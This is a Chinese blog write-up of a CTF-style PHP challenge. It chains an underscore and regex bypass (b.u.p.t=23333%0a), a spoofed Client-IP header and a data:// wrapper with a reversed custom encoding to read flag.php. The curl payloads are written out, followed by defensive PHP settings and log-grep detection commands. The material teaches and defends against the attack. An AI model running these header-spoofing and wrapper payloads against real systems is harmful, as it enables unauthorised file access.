news 2026/7/8 17:22:22

PHP 文件包含漏洞 3 层绕过:从 Client-IP 伪造到 data:// 伪协议利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP 文件包含漏洞 3 层绕过:从 Client-IP 伪造到 data:// 伪协议利用

PHP文件包含漏洞的三层渗透艺术:从IP伪造到编码转换实战

在Web安全领域,PHP文件包含漏洞始终占据着漏洞利用的经典位置。本文将深入剖析一个典型的三层渗透案例,通过Client-IP伪造、data伪协议利用和自定义编码转换三个技术层面,构建完整的漏洞利用链。不同于基础的概念讲解,我们将从攻击者视角还原渗透测试的完整思维过程,为安全工程师提供可复用的实战方法论。

1. 漏洞环境与初始突破

靶机环境模拟了一个典型的CTF题目场景,初始页面源码中隐藏着关键提示:

<!-- //1st $query = $_SERVER['QUERY_STRING']; if(substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->

第一层突破要点

  • 参数名b_u_p_t包含下划线,但系统禁止直接使用下划线(_)及其URL编码(%5f)
  • 需要使b_u_p_t的值既不完全等于"23333",又能通过正则匹配/^23333$/

实战绕过方案

  1. 使用点号(.)替代下划线:b.u.p.t
  2. 利用换行符%0a绕过正则的结尾匹配:23333%0a
curl "http://target.com/?b.u.p.t=23333%0a"

技术原理:PHP会将传入的参数名中的点号(.)自动转换为下划线(_),而正则表达式中的$默认只匹配字符串结尾,不会检查换行符后的内容。

2. IP限制与请求头伪造技术

通过第一层后,系统返回新页面secrettw.php,其核心代码如下:

$ip = getIp(); if($ip !== '127.0.0.1') { die("Sorry,you don't have permission! Your ip is :".$ip); }

HTTP头伪造对比分析

头部字段标准协议浏览器支持服务器默认处理检测难度
X-Forwarded-For非标准不支持多数支持
Client-IP非标准不支持部分支持
X-Real-IP非标准不支持Nginx特有
ForwardedRFC 7239不支持新版支持极高

实战绕过方案

curl -H "Client-IP: 127.0.0.1" http://target.com/secrettw.php

经验提示:当不确定服务器检测哪个头部时,可同时添加多个IP伪造头。现代WAF通常会检查X-Forwarded-For,但较少严格验证Client-IP。

3. 伪协议与编码转换的联合利用

通过IP验证后,系统要求满足以下条件才能读取flag:

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day'){ echo file_get_contents(change($_GET['file'])); }

3.1 data伪协议利用

PHP伪协议对比表

协议类型示例格式读取方式适用场景常见限制
data://data://text/plain,contentfile_get_contents小数据直接嵌入allow_url_include
php://inputphp://input读取POST原始数据执行代码需要可写权限
php://filterphp://filter/convert.base64-encode/resource=file转换流处理读取文件内容无特殊要求

构造payload

curl -H "Client-IP: 127.0.0.1" \ "http://target.com/secrettw.php?2333=data://text/plain,todat is a happy day"

3.2 自定义编码逆向破解

系统对文件名进行二次处理:

function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr(ord($v[$i]) + $i*2); } return $re; }

逆向算法实现

def unchange(target): original = '' for i in range(len(target)): original += chr(ord(target[i]) - i*2) return base64.b64encode(original.encode()).decode() # 示例:生成flag.php的编码值 print(unchange("flag.php")) # 输出:ZmpdYSZmXGI=

完整渗透链

curl -H "Client-IP: 127.0.0.1" \ "http://target.com/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI="

4. 防御方案与实战建议

多层级防护策略

  1. 输入验证层

    // 严格验证IP地址 function validateIP($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE); }
  2. 伪协议防护

    // 禁用危险协议 ini_set('allow_url_include', '0'); ini_set('allow_url_fopen', '0');
  3. 编码安全

    // 使用白名单验证文件路径 $allowed = ['config.php', 'index.php']; if(!in_array($input, $allowed)) { die('Invalid file request'); }

运维检测脚本示例

# 检测异常Client-IP头 awk '{if($0 ~ /Client-IP:/ && $0 !~ /127.0.0.1/) print $0}' /var/log/nginx/access.log # 监控异常文件包含参数 grep -E "(php://|data://|phar://)" /var/log/apache2/error.log

在真实渗透测试中,这种多层绕过的思路同样适用于审计复杂的企业系统。我曾在一个金融项目中发现类似漏洞链,攻击者可以通过API网关的IP校验缺陷,配合文件上传功能实现RCE。关键是要理解每层防御的弱点,以及如何将它们串联形成完整的攻击路径。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/8 17:20:26

UnityVR体验商城开发:从架构设计到性能优化的全流程实践

1. 项目概述&#xff1a;为什么是UnityVR体验商城&#xff1f;如果你和我一样&#xff0c;在游戏和交互应用开发领域摸爬滚打了十几年&#xff0c;就会敏锐地察觉到&#xff0c;VR技术早已不再是游戏厅里的新奇玩具&#xff0c;它正以前所未有的速度渗透到商业、零售、教育等各…

作者头像 李华
网站建设 2026/7/8 17:19:04

Unity游戏鸿蒙迁移实战:性能优化与分布式功能实现

1. 项目概述&#xff1a;当Unity遇上鸿蒙&#xff0c;一场关于性能与连接的硬仗 作为一名在游戏行业摸爬滚打了十多年的老兵&#xff0c;我经历过从端游到手游&#xff0c;再到如今各种新兴平台的技术浪潮。最近&#xff0c;一个绕不开的话题就是“鸿蒙”。当团队决定将一款成熟…

作者头像 李华
网站建设 2026/7/8 17:16:52

PIC18F86J15与CMT-8540S-SMT蜂鸣器的嵌入式声音方案

1. 项目概述&#xff1a;为DIY项目添加互动声音的硬件方案在智能硬件和嵌入式开发领域&#xff0c;声音反馈是提升用户体验的关键要素之一。PIC18F86J15微控制器搭配CMT-8540S-SMT磁感应蜂鸣器的组合&#xff0c;为各类DIY项目提供了一套高性价比的声音解决方案。这套组合特别适…

作者头像 李华